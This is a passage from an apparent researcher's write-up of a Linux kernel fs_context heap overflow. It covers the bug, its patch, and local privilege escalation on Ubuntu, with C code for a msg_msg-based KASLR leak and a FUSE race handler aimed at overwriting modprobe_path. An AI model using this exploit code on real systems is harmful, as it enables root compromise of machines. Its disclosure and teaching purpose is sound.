</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> -ENOMEM;
}
ctx->legacy_data[size++] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">','</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
len = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(param->key);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(ctx->legacy_data + size, param->key, len);
size += len;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'='</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(ctx->legacy_data + size, param-></span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">string</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, param->size);
size += param->size;
}
ctx->legacy_data[size] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\0'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}</span></p></div><p>Given that your value points to a string, it will factor in both the length of the value string and the key string. If this is the first time hitting this region (basically if legacy data hasn't been allocated yet), a 4k chunk will be allocated for it. It sets a ",", copies over the key, sets an "=" sign, and then copies over the value of your data before null termination. Well, how can we overflow? You can see the bound check to prevent overflows:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (len > PAGE_SIZE - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - size)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> invalf(fc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"VFS: Legacy: Cumulative options too large"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);</span></p></div><div class="highlight"><pre></pre></div><p>While this
bound check will suffice for most cases, if your size is 4095 bytes or
greater, an integer underflow will occur as <code>size</code> in this
case is an unsigned int. Hence, trigger the underflow there and you will
get infinite heap overflow.</p><p>This bug popped up since <a href="https://github.com/torvalds/linux/commit/3e1aeb00e6d132efc151dacc062b38269bc9eccc#diff-c4a9ea83de4a42a0d1bcbaf1f03ce35188f38da4987e0e7a52aae7f04de14a05">5.1-rc1</a>. It’s important to note that you need the <code>CAP_SYS_ADMIN</code> capability to trigger it, but the permission only <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fsopen.c#L122">needs to be granted in the CURRENT NAMESPACE</a>. Most unprivileged users can just <code>unshare(CLONE_NEWNS|CLONE_NEWUSER)</code> (equivalent of the command <code>unshare -Urm</code>)
to enter a namespace with the <code>CAP_SYS_ADMIN</code> permission, and abuse the
bug from there; this is what makes this such a dangerous vulnerability.</p><p>
</p><p>Fixing this is a simple patch. Here’s the fix clubby789 developed and what we sent to the Linux kernel project.</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">diff --git a/fs/fs_context.c b/fs/fs_context.c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">index de1985eae..a195e516f 100644</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">--- a/fs/fs_context.c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">+++ b/fs/fs_context.c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">@@ -548,7 +548,7 @@</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
</span><span class="hljs-deletion" style="color: #2b91af; font-family: monospace; white-space: pre;">- if (len > PAGE_SIZE - 2 - size)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-addition" style="color: #a31515; font-family: monospace; white-space: pre;">+ if (size + len + 2 > PAGE_SIZE)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||</span></p></div><p>Ok, but who cares about the patch. Let’s talk about exploitation now :)</p><p>Our original POC’s goal was to achieve LPE on Ubuntu, preferably
20.04 which is probably the most popular? version in use currently. The
exact kernel we targeted was of version 5.11.0-44. As with most distro
kernels, there are a ton of hardening options compiled in, like slab
randomization, slab hardening, usercopy hardening, etc. I’ve discussed a
lot about some common kernel hardening measures in previous kernel
exploitation posts. And of course since these are modern systems, SMAP,
SMEP, KASLR, and KPTI will be turned on. Being distro images, there are
also some options that are required for general use that will work to
our advantage for exploitation, such as <code>CONFIG_CHECKPOINT_RESTORE</code>,
<code>CONFIG_USER_NS</code>, <code>CONFIG_FUSE</code>, <code>CONFIG_SYSVIPC</code>, and <code>CONFIG_USERFAULTFD</code>.</p><p>What primitives do we have with this bug? Only a
heap overflow. I wonder if there’s anything I can do with this to
escalate privileges… heap overflow in a 4k slab. This past summer, <a href="https://syst3mfailure.io/">D3v17</a>
and I teamed up and wrote a series of articles and challenges focused
on abusing the <code>msg_msg</code> structures for OOB read, arb read, and arb write;
please take a read at these before I continue as I will be writing with
the assumption that the reader has this prerequisite knowledge: <a href="https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html">part 1</a>, <a href="https://syst3mfailure.io/wall-of-perdition">part 2</a>.
Our first challenge and article specifically dealt with a 0x30 byte
UAF at the very beginning of the <code>msg_msg</code> structure in the 4k slab, so a
heap overflow in the 4k slab would fit this scenario perfectly. With all
but one exception, the exact same strategy from our Fire of Salvation
kernel challenge can be repeated here.</p><p>Before I continue, I would like to make a note about exploit
stability. Interestingly enough, it seems that newer Linux kernel
exploit mitigations actually contributed to the stability of the exploit
we had on Ubuntu. As you will see later on in our exploit, we never did
a lot of spraying besides some initial sprays to clean up the slabs and
forcing cpu affinity on one core since each core has their own
freelist. Wouldn’t it make sense for slab randomization combined
with a string based heap overflow to cause many crashes for systems with
SLUB freelist allocators? </p><p>Well, yes if the freelist pointer was at the beginning of each chunk;
our attempts at exploiting these versions of the kernel required a lot
more work related to spraying and never achieved a success rate better
than 50% (although due to instability issues on the Google Kubernetes’s
infrastructure, I had to redevelop the spray even for newer kernel
versions that should alleviate this corruption problem). Since
5.7, Linux kernel developers decided to <a href="https://lore.kernel.org/linux-mm/202003051624.AAAC9AECC@keescook/t/">move the freelist pointer to the middle</a>
to avoid overflows corrupting the kernel heap state.
This means that as long as my overflow doesn’t corrupt some very
important object, I can keep overflowing the first 0x30 bytes (which is
all that matters for abusing <code>msg_msg</code>) and never corrupt the heap state
in the 4k pages - this makes it pretty easy to try to leak memory or
perform an arbitrary write on repeat as we can get a fresh legacy data
allocation with every new fd we create with <code>fsopen</code>. Thanks mitigations!</p><p>To obtain a KASLR leak on general Linux distributions (again, if
anything here sounds confusing, refer to the articles from D3v17 and
me), we just need our legacy data chunk to be allocated right on top of a 4k <span style="font-family: monospace;">msg_msg</span> chunk chained with a kmalloc-32 <code>msg_msgseg</code> chunk. We can use our overflow to adjust the <code>msg_msg</code> size parameter and make it
larger, and then use <code>MSG_COPY</code> to achieve an OOB leak. If we spray many
<code>seq_operations</code> structure using the classic <code>open(“/proc/self/stat”,
O_RDONLY)</code> trick, we will have a high likelihood of an OOB read
leaking us the pointers within this structure, which will let us rebase
the kernel and bypass KASLR. </p><p>Note that since we do not have heap leaks and that usercopy hardening
does heap object bounds checking, we have to rely on <code>MSG_COPY</code>, which
doesn’t unlink the <code>msg_msg</code> from its <code>msg_queue</code> (which would then utilize
the linked list pointers in the first 0x10 bytes of <code>msg_msg</code> objects) and
uses memcpy to transfer data to a new <code>msg_msg</code> structure before
usercopying back.</p><p>
</p><p>This following snippet of code should accomplish a KASLR leak:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">do_leak</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kbase = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buffer[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}, recieved[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> targets[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
msg *message = (msg *)buffer;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1018</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray msg_msg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">+i, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
targets[i] = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
send_msg(targets[i], message, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x42</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat));
pat[</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\x00'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Opening ext4 filesystem"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
fd = fsopen(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ext4"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"fsopen: Remember to unshare"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">117</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// overflow, hopefully causes an OOB read on a potential msg_msg object below</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Overflowing..."</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">21</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\x00'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil[] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x60\x10"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray more msg_msg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">+i, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
targets[i] = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
send_msg(targets[i], message, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, evil, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Done heap overflow"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Spraying kmalloc-32"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/self/stat"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY);
}
size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1060</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Attempting to recieve corrupted size and leak data"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// go through all targets qids and check if we hopefully get a leak</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> j = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; j < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; j++)
{
get_msg(targets[j], recieved, size, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (kbase)
{
close(fd);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kbase;
}
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[X] No leaks, trying again"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}</span></p></div><p>Now, we can perform the same arbitrary write technique D3v17 and I
created. When you trigger the allocation of <code>msg_msg</code> and make a requested
size require larger than 4096, we need to hang the usercopy when it
copies to the first <code>msg_msg</code> chunk but before it traverses and usercopies
to the <code>msg_msgseg</code> chunk. Previously, we did it with userfaultfd, but since
unprivileged userfaultfd is disabled by default since 5.11, how can we
reliably race this?</p><p>
</p><p>I went through this <a href="https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf">slideshow</a> and the <a href="https://github.com/nrb547/kernel-exploitation/blob/main/cve-2021-32606/cve-2021-32606.md">FUSE technique</a>
caught my attention. The gist of it is that in Linux, users can
communicate with /dev/fuse to create their own custom filesystem in
userspace. You can create your own files in this userspace filesystem,
map them in memory with mmap, have usercopy reach them when copying, and
have your custom filesystem read handlers just hang or do anything else
you want. Here is our custom FUSE filesystem’s handlers:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">evil_read</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">const</span> <span class="hljs-type" style="color: #a31515;">char</span> *path, <span class="hljs-type" style="color: #a31515;">char</span> *buf, <span class="hljs-type" style="color: #a31515;">size_t</span> size, <span class="hljs-type" style="color: #a31515;">off_t</span> offset,
<span class="hljs-keyword" style="color: blue;">struct</span> fuse_file_info *fi)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// change to modprobe_path</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> signal;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil_buffer[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil_buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x43</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil_buffer));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *evil = modprobe_win;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)(evil_buffer + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">), evil, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">size_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> len = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (offset >= len)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (offset + size > len)
size = len - offset;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buf, evil_buffer + offset, size);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// sync with the arb write thread</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
read(fuse_pipes[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], &signal, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size;
}</span></p></div><p>There were two difficulties however with this FUSE race technique.
Normally, as a normal unprivileged user, you need access to a suid
/bin/fusermount binary. Performing the unshare which triggered our own
user namespace’s creation would allow us to skip that requirement.
Another issue is that a user would require libfuse libraries for libfuse
